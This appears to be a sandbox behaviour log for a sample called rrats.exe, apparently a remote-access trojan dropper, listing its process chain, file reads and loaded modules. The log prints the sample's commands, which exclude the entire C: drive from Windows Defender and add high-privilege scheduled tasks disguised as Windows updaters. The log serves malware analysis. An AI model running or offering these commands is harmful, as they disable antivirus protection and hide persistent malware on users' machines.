Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7692:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5524:120:WilError_03

Source: C:\Users\user\Desktop\rrats.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0

Jump to behavior

Source: C:\Users\user\Desktop\rrats.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\a.bat" "

Source: unknown	Process created: C:\Users\user\AppData\Roaming\Explorer.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Explorer.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Explorer.exe	Jump to behavior

Source: C:\Users\user\Desktop\rrats.exe	Command line argument: sfxname	0_2_00CBDF1E
Source: C:\Users\user\Desktop\rrats.exe	Command line argument: sfxstime	0_2_00CBDF1E
Source: C:\Users\user\Desktop\rrats.exe	Command line argument: STARTDLG	0_2_00CBDF1E
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Command line argument: B*	4_2_00E92EF8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Command line argument: sfxname	4_2_00E92EF8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Command line argument: sfxstime	4_2_00E92EF8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Command line argument: X+	4_2_00E92EF8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Command line argument: STARTDLG	4_2_00E92EF8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Command line argument: D+	4_2_00E92EF8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Command line argument: ~j	4_2_00EA69D0

Source: rrats.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\rrats.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\rrats.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: rrats.exe

ReversingLabs: Detection: 44%

Source: C:\Users\user\Desktop\rrats.exe

File read: C:\Users\user\Desktop\rrats.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\rrats.exe "C:\Users\user\Desktop\rrats.exe"
Source: C:\Users\user\Desktop\rrats.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\a.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe a.exe -p1234
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe "C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe"
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Add-MpPreference -ExclusionPath C:\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"' & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpE75F.tmp.bat""
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 3
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Explorer.exe C:\Users\user\AppData\Roaming\Explorer.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Explorer.exe "C:\Users\user\AppData\Roaming\Explorer.exe"
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdate" /tr "C:\Users\user\AppData\Local\explore.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdate" /tr "C:\Users\user\AppData\Local\explore.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\"
Source: unknown	Process created: C:\Users\user\AppData\Local\explore.exe C:\Users\user\AppData\Local\explore.exe
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /C powershell Add-MpPreference -ExclusionPath C:"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:"
Source: C:\Users\user\Desktop\rrats.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\a.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe a.exe -p1234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe "C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Add-MpPreference -ExclusionPath C:\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"' & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpE75F.tmp.bat""	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Explorer.exe "C:\Users\user\AppData\Roaming\Explorer.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdate" /tr "C:\Users\user\AppData\Local\explore.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdate" /tr "C:\Users\user\AppData\Local\explore.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:"

Source: C:\Users\user\Desktop\rrats.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rrats.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
